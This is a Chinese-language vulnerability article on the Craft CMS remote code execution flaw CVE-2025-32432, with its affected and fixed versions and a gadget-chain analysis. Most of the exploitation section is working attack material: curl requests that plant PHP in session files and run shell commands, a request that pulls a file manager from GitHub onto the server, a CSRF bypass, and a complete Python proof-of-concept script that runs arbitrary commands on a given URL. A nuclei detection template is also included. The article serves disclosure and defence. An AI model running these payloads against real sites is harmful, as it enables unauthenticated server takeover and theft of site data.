首页 网络安全 正文
  • 本文约5975字,阅读需30分钟
  • 5
  • 0

Craft CMS远程代码执行漏洞CVE-2025-32432

摘要

栋科技漏洞库关注到 Craft CMS 受影响版本中存在一个安全漏洞,该漏洞现在已经被追踪为CVE-2025-32432,漏洞CVSS 3.X评分为10。

Craft CMS 是灵活而强大的内容管理系统(CMS),以用户友好的界面、强大的插件生态系统及支持现代web开发最佳实践的特性而闻名。

Craft CMS 是用户友好的内容管理系统,专为创意团队和开发人员设计,以提供高度可定制、直观且性能优越的网站和内容管理解决方案。

Craft CMS是一个流行的内容管理系统,基于PHP和Yii框架开发,提供了强大的内容建模功能和灵活的模板系统,被全球数千个网站使用。

一、基本情况

Craft CMS 是一个基于 PHP 开发的自托管应用,后端使用 MySQL 或 Postgres 数据库,同时使用了Twig模板引擎来简化页面模板的编写。

Craft CMS 适用于需高度定制性、卓越性能和直观内容管理界面的创意项目、企业网站及复杂内容驱动场景,具有高度可定制性和灵活性。

Craft CMS远程代码执行漏洞CVE-2025-32432

Craft CMS 的主要编程语言是 PHP,这是一个Composer启动项目,旨在通过 composer create-project 命令快速开始新的Craft CMS项目。

栋科技漏洞库关注到 Craft CMS 受影响版本中存在一个安全漏洞,该漏洞现在已经被追踪为CVE-2025-32432,漏洞CVSS 3.X评分为10。

二、漏洞分析

CVE-2025-32432是Craft CMS中的高危漏洞,攻击者可构造恶意请求利用generate-transform端点触发反序列化执行任意代码控制服务器。

漏洞允许未经身份验证攻击者通过向/actions/assets/generate-transform端点发送特制POST请求,利用PHP反序列化漏洞实现RCE。

部分漏洞代码如下:

CHANGELOG.md
# Release Notes for Craft CMS 3.x
## Unreleased
- Fixed an RCE vulnerability.
## 3.9.14 - 2024-12-19 [CRITICAL]
- Fixed an RCE vulnerability.
src/controllers/AssetsController.php
        } else {
            $assetId = $this->request->getRequiredBodyParam('assetId');
            $handle = $this->request->getRequiredBodyParam('handle');
            if (!is_string($handle)) {
                throw new BadRequestHttpException('Invalid transform handle.');
            }
            $assetModel = Craft::$app->getAssets()->getAssetById($assetId);
            if ($assetModel === null) {
                throw new BadRequestHttpException('Invalid asset ID: ' . $assetId);

具体而言,这是一个PHP反序列化漏洞,位于Craft CMS的资产转换(Asset Transform)生成功能中,漏洞产生源于多个安全问题的叠加:

1、 不安全的反序列化

// 伪代码示例 - 易受攻击的代码模式
public function actionGenerateTransform() {
    $data = Craft::$app->getRequest()->getBodyParams();

    // 危险:直接使用用户输入构造对象
    $transform = new AssetTransform($data['handle']);

    // 如果$data['handle']包含恶意的序列化对象...
    return $this->processTransform($transform);
}

2、资产ID验证时机问题

在不同版本的Craft CMS中,资产ID的验证时机不同:

Craft 3.x: 在创建转换对象之前检查资产ID

Craft 4.x/5.x: 在创建转换对象之后检查资产ID

这意味着在4.x和5.x版本中,即使提供了无效的资产ID,恶意的反序列化代码也会先被执行。

3、缺乏类型验证

代码没有验证__class参数的有效性,允许攻击者实例化任意类:

// 易受攻击的代码模式
if (isset($data['__class'])) {
    $className = $data['__class'];
    // 危险:没有验证$className是否是允许的类
    $object = new $className($data);
}

4、PHP魔术方法的滥用

PHP的魔术方法(如__destruct(),__toString(),__wakeup()等)在反序列化攻击中扮演关键角色。

GuzzleHttp\Psr7\FnStream类的设计允许配置回调函数:

// GuzzleHttp\Psr7\FnStream 类的简化代码
class FnStream {
    private $_fn_close;

    public function __destruct() {
        if (isset($this->_fn_close)) {
            call_user_func($this->_fn_close);  // 危险:调用用户控制的函数
        }
    }
}

5、Yii框架漏洞(CVE-2024-58136)

CVE-2024-58136加剧了这个问题:

// Yii 2.0.51及之前版本的易受攻击代码
public function attachBehavior($name, $behavior) {
    // 如果$behavior是数组且包含'__class'
    if (is_array($behavior) && isset($behavior['__class'])) {
        $className = $behavior['__class'];
        // 缺乏验证,直接实例化
        $behavior = Yii::createObject($behavior);
    }
    // ...
}

6、安全设计缺陷

信任边界不清晰: 将用户输入直接用于内部对象构造

深度防御不足: 缺少多层验证机制

白名单机制缺失: 没有限制可实例化的类

输入验证不足: 对JSON payload的结构和内容验证不充分

四、POC概念验证

1、上下文

如之前所述,攻击者发出了三种类型的请求,我们可以使用curl进行模拟:

# request calling phpinfo
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -b '<cookies>'

# request pushing PHP code
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv

# request triggering the PHP code
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'

然而,仅仅尝试重新发送请求并没有在我们的实验室实现代码执行,相反却出错。

注意: CraftCMS 平台使用 Yii 框架。

2、创建一个复制漏洞的环境

我们创建了一个实验室来重现漏洞:

# Clone repo
$ git -c advice.detachedHead=false clone https://github.com/craftcms/craft.git --panch 4.1.0 --depth 1 --quiet lab

# Edited version to have the one used in the attack.
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json
$ sed -i "s/\^4.4.0/4.12.8/g" composer.json.default

# Ran composer install
composer install -q --no-ansi --no-interaction --no-scripts --no-progress --no-dev --prefer-dist

# Setup a postgres database with the craft/craft credentials, and the craft database name

# Installed necessary php extensions

# Ran initial setup steps
php craft setup/keys --interactive 0 >/dev/null
php craft setup/db --interactive 0 --driver pgsql --server 127.0.0.1 --user craft --password craft --database craft >/dev/null
php craft install/craft --interactive 0 --email admin@localhost.fr --language en_US --password password --site-name cve --site-url http://localhost:8080 --username admin >/dev/null

# Ran server
./craft serve

3、触发phpinfo

目标端点如下:/index.php?p=admin/actions/assets/generate-transform

它映射到AssetsController::actionGenerateTransform函数,该函数不需要认证。

以下是其代码片段:

public function actionGenerateTransform(?int $transformId = null): Response
{
    try {
        // If a transform ID was not passed in, see if a file ID and handle were.
        if ($transformId) {
            // ...
        } else {
            $assetId = $this->request->getRequiredBodyParam('assetId');
            $handle = $this->request->getRequiredBodyParam('handle');
            $transform = ImageTransforms::normalizeTransform($handle);
            $transformer = $transform?->getImageTransformer();
        }
    } catch (\Exception $exception) {
        // ...
    }

    // ...
}

注意:此路线接受JSON输入。

正如我们所看到的,它首先检查是否传递了一个transformId

如果没有,else分支被采取,然后调用ImageTransforms::normalizeTransform函数,带有用户指定的参数。

尝试调用它会给我们一个CSRF验证错误,我们可以在配置中暂时禁用它。我们还启用开发者模式,给我们提供堆栈跟踪信息。

return GeneralConfig::create()
    // ...false
    ->devMode(true)
    ->enableCsrfProtection(false)
;

再次尝试我们的第一个请求,我们得到了一个phpinfo,这意味着我们达到了代码执行:

$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}' -H 'Content-Type: application/json'

...
<title>PHP 8.2.28 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
...

然而,我们只能调用一个没有参数的函数——这对攻击者来说帮助不大。

4、理解为什么 phpinfo 被称为

让我们更深入地研究代码。该normalizeTransform函数检查我们的输入是否有效,并从中创建一个新的ImageTransform

public static function normalizeTransform(mixed $transform): ?ImageTransform
{
    // ...
    if (is_array($transform)) {
        // ...
        return new ImageTransform($transform);
    }
    // ...
}

ImageTransform类的构造函数在其父类中定义:Model.

public function __construct($config = [])
{
    // ...
    App::configure($this, $config);
    // ...
}

它调用App::configure根据给定的配置设置其属性。此函数是一个简单的for循环:

public static function configure(object $object, array $properties): void
{
    foreach ($properties as $name => $value) {
        $object->$name = $value;
    }
}

回顾我们的有效载荷,这意味着我们可以将我们的代码简化到:

<?php

require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';

use craft\Craft;
use craft\models\ImageTransform;

$model = new ImageTransform();
$model['width'] = 123;
$model['height'] = 123;
$model['as session'] = [
    'class' => 'craft\\behaviors\\FieldLayoutBehavior',
    '__class' => 'GuzzleHttp\\Psr7\\FnStream',
    '__construct()' => [[]],
    '_fn_close' => 'phpinfo',
];

执行它给我们一个phpinfo:

$ php replica.php
PHP Version => 8.2.28
...

查看 ImageTransform,它扩展了 Model,扩展了 Yii 的 Model,最终是一个 Yii Component。

as session语法在 其配置指南中规定:

as behaviorName元素指定了应附加到对象上的行为。

请注意,数组键是通过在行为名称前添加as来形成的;值$behaviorConfig代表创建行为的配置,就像这里描述的普通配置一样。

现在我们需要了解行为:

行为是yii\base\Behavior的实例,或其子类的实例。行为也称为混合,允许您在不更改类的继承关系的情况下增强现有组件类的功能。

将行为附加到组件中会“注入”行为的方法和属性到组件中,使这些方法和属性可以像在组件类中定义一样访问。

此外,行为可以响应组件触发的事件,这使得行为也可以自定义组件的正常代码执行。

所以总结一下,使用as x语法,我们能够将一个行为(即一个mixin)附加到一个组件上。

非常有趣!但它并没有解释为什么我们能够实例化一个任意的类。让我们深入研究,看看__set函数本身。

public function __set($name, $value)
{
    $setter = 'set' . $name;
    if (method_exists($this, $setter)) {
        // ...
    } elseif (strncmp($name, 'on ', 3) === 0) {
        // ...
    } elseif (strncmp($name, 'as ', 3) === 0) {
        // as behavior: attach behavior
        $name = trim(substr($name, 3));
        if ($value instanceof Behavior) {
            $this->attachBehavior($name, $value);
        } elseif (isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) {
            $this->attachBehavior($name, Yii::createObject($value));
        } elseif (is_string($value) && is_subclass_of($value, Behavior::class, true)) {
            $this->attachBehavior($name, Yii::createObject($value));
        } else {
            throw new InvalidConfigException('Class is not of type ' . Behavior::class . ' or its subclasses');
        }

        return;
    }

    // ...
}

查看第三分支,我们注意到 $value['class'] 的值被彻底检查。只有当给定的类是 Behavior 的子类时,我们才允许创建对象。

回到我们的有效载荷,我们有两个类,这似乎很奇怪:

$model['as session'] = [
    'class' => 'craft\\behaviors\\FieldLayoutBehavior',
    '__class' => 'GuzzleHttp\\Psr7\\FnStream',
    '__construct()' => [[]],
    '_fn_close' => 'phpinfo',
];

如果我们移除其中一个,执行会失败。为了理解为什么,我们将直接查看Yii::createObject函数:

public static function createObject($type, array $params = [])
{
    if (is_string($type)) { /* ... */}
    if (is_callable($type, true)) { /* ... */}
    if (!is_array($type)) { /* ... */}

    if (isset($type['__class'])) {
        $class = $type['__class'];
        unset($type['__class'], $type['class']);
        return static::$container->get($class, $params, $type);
    }

    if (isset($type['class'])) {
        $class = $type['class'];
        unset($type['class']);
        return static::$container->get($class, $params, $type);
    }

    throw new InvalidConfigException('Object configuration must be an array containing a "class" or "__class" element.');
}

哈哈!这个createObject函数允许同时使用__classclass属性。

这是利用的方式:

它设置了一个有效的class属性,意味着Component::__set的检查通过了,

它还设置了一个任意的__class属性,该属性用于首先在BaseYii::createObject中。

我们可以通过在利用代码中指定另一个有效的行为来验证这一点:

$ grep -R 'extends Behavior' .
...
./vendor/yiisoft/yii2/base/ActionFilter.php:class ActionFilter extends Behavior
...
$ cat replica.php
<?php

require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';

use craft\Craft;
use craft\models\ImageTransform;

$model = new ImageTransform();

$model['as session'] = [
    'class' => 'yii\\base\\ActionFilter',
    '__class' => 'GuzzleHttp\\Psr7\\FnStream',
    '__construct()' => [[]],
    '_fn_close' => 'phpinfo',
];

$ php replica.php
PHP Version => 8.2.28
...

它仍然有效!现在我们需了解为什么Guzzle被调用。任何对PHP反序列化攻击稍有了解的人都会从PHP gadget chains中认出这个名称。

查看其源代码,可以清楚地看到它在析构函数中调用了任何任意函数:

/**
 * The close method is called on the underlying stream only if possible.
 */
public function __destruct()
{
    if (isset($this->_fn_close)) {
        ($this->_fn_close)();
    }
}

需要__construct参数,否则对象构造器会失败。

万岁!我们明白了攻击者的第一个请求。

5、执行任意PHP代码

攻击者的第二个和第三个请求似乎实现了完整的代码执行:

$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv

$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'

查看 PhpManager类,我们知道当 itemFile类变量被设置时,它允许任意文件包含。

public function init()
{
    parent::init();
    $this->itemFile = Yii::getAlias($this->itemFile);
    $this->assignmentFile = Yii::getAlias($this->assignmentFile);
    $this->ruleFile = Yii::getAlias($this->ruleFile);
    $this->load();
}

protected function load()
{
    $this->children = [];
    $this->rules = [];
    $this->assignments = [];
    $this->items = [];

    $items = $this->loadFromFile($this->itemFile);
    // ...
}

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }

    return [];
}

因此,我们可包含一个文件。若allow_url_include处于启用状态,那么我们可简单地指定一个有效的URL。但是这个设置默认是禁用的。

攻击者加载代码来自/var/lib/php/sessions/sess_YYY,而不是来自特定会话的会话存储。

我们能够通过调用/var/lib/php/sessions将代码插入到admin/dashboard中,并在文件系统中搜索它:

$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
...
< HTTP/1.1 302 Found
< Host: 127.0.0.1:8080
< Date: Wed, 09 Apr 2025 12:43:21 GMT
< Connection: close
< Set-Cookie: CraftSessionId=a31t5708djlbeo38u0qlubdb4n; path=/; HttpOnly
...
< Location: http://127.0.0.1:8080/admin/login
...

$ cat /var/lib/php/sessions/sess_a31t5708djlbeo38u0qlubdb4n
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:196:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>";

据我们了解,通过查看序列化数据__returnUrl|s:196,代码存储在“返回网址”中,用户在登录到管理面板后会被重定向到该网址。

现在我们可以把所有的东西放在一起调用whoami:

# the `-g` flag is necessary to avoid curl refusing to send invalid characters in the URL
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -vvv -g
...
< Set-Cookie: CraftSessionId=9ve2k7rr4d3h46d97cnakm1rjv; path=/; HttpOnly
...

# execute 'whoami' and get 'craft' back  (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_9ve2k7rr4d3h46d97cnakm1rjv"}]}}}' -H 'Content-Type: application/json'

cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft

我们得到了命令的输出!我们成功地运行了<?=exec($_GET['cmd']);die()?>.

6、重新添加CSRF验证

当重新启用CSRF验证时,一切停止工作。幸运的是,我们能从重定向到的登录页面中提取有效CSRF令牌,并像文档中所述那样传递它:

# Push our payload, get redirected to the login page (with the -L flag), and save cookies (with the -c flag)
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -g -s -L -c cookie-jar | grep '<input type="hidden" name="CRAFT_CSRF_TOKEN"'
<input type="hidden" name="CRAFT_CSRF_TOKEN" value="aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=">

# Find the cookie value
$ grep CraftSessionId cookie-jar
#HttpOnly_127.0.0.1     FALSE   /       FALSE   0       CraftSessionId  2s3ea5ttji1svna46et13802qs

# Trigger the code, execute 'whoami' and get 'craft' back (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_2s3ea5ttji1svna46et13802qs"}]}}}' -H 'Content-Type: application/json' -H 'X-CSRF-Token: aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=' -b cookie-jar
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft

自动化杀伤链 ourselves

像TA那样,我们自动化了利用过程。这有点棘手,因为pythonrequest模块会自动为传出请求添加引号,所以我们不得不黑客urllib3模块。

以下代码可以用于在易受攻击的服务器上执行任意 shell 命令:

# Author: Nicolas Bourras (Orange Cyberdefense)
# Valid for 3.x, 4.x, 5.x

import sys
import urllib
import urllib3

import requests

url = sys.argv[1]
cmd = sys.argv[2]
asset_id = sys.argv[3] if len(sys.argv) == 4 else ''

php_code = f'<?=exec($_GET["cmd"]);die()?>'

print('[*] CraftCMS CVE-2025-32432 PoC')

def custom_make_request(self, conn, method, url, **httplib_request_kw):
    url = urllib.parse.unquote(url)
    return self._original_make_request(conn, method, url, **httplib_request_kw)

urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request

print('[+] Making initial request to push payload and get a CSRF token..')
print(f'[+] Pushing the following code: {php_code}')

s = requests.Session()

res = s.get(f'{url}/index.php', params=f'p=admin/dashboard&a={php_code}')

print(f'[+] Got response {res.status_code}')

session_id = s.cookies['CraftSessionId']

print(f'[+] PHP code pushed in the session with ID: {session_id}')

line = next(
    l for l in res.text.split('\n')
    if '<input type="hidden" name="CRAFT_CSRF_TOKEN"' in l
)

token = line.split('value="', 1)[1].split('"', 1)[0]

print(f'[+] Found CSRF TOKEN: {token}')

print('[+] Triggering code via assets/generate-transform')

# trigger it
params = {
    'p': 'actions/assets/generate-transform',
    'cmd': cmd,
}

res = s.post(f'{url}/index.php', params=params, json={
    'assetId': asset_id,
    'handle': {
        'width': 123,
        'height': 123,
        'as hack': {
            'class': 'craft\\behaviors\\FieldLayoutBehavior',
            '__class': 'yii\\rbac\\PhpManager',
            '__construct()': [{
                'itemFile': f'/var/lib/php/sessions/sess_{session_id}',
            }]
        }
    }
}, headers={
    'X-CSRF-Token': token,
})

print(f'[+] Got response {res.status_code}')

if '?p=admin/dashboard&a=' not in res.text:
    print('[!] Invalid output detected. If running under a 3.x version, the given asset ID may be invalid.')
    print('[!] Try specifying an asset ID, and testing different values (its an incremental integer, starting at 0).')

print('[+] Command output:')

# remove leading text
text = res.text
text = text.split('?p=admin/dashboard&a=', 1)[1]

print(text)

此外,编写了一个核模板来帮助识别易受攻击的4.x和5.x服务器:

id: CVE-2025-32432

info:
  name: CVE-2025-32432 - RCE Preauth in CraftCMS (detection for 4.x and 5.x instances)
  author: Nicolas Bourras (Orange Cyberdefense)
  severity: critical

http:
  - raw:
    - |
      GET /index.php?p=admin/dashboard HTTP/1.0
      Host: 

    - |
      POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.0
      Host: 
      Content-Type: application/json
      X-CSRF-Token: 

      {"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}

    redirects: true

    extractors:
    - type: xpath
      name: csrf-token
      attribute: value
      internal: true
      xpath:
        - //input[@type="hidden" and @name="CRAFT_CSRF_TOKEN"]

    matchers:
      - type: word
        part: body
        words:
          - 'If you did not receive a copy of the PHP license'

注意: 3.x服务器不适用于此模板,因为需要发送大量请求才能找到有效的资产ID。

五、影响范围

Craft CMS3.x 3.0.0-RC1 至 3.9.14

Craft CMS4.x 4.0.0-RC1 至 4.14.14

Craft CMS5.x 5.0.0-RC1 至 5.6.16

六、修复建议

Craft CMS >= 5.6.17

Craft CMS >= 3.9.15

Craft CMS >= 4.14.15

七、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接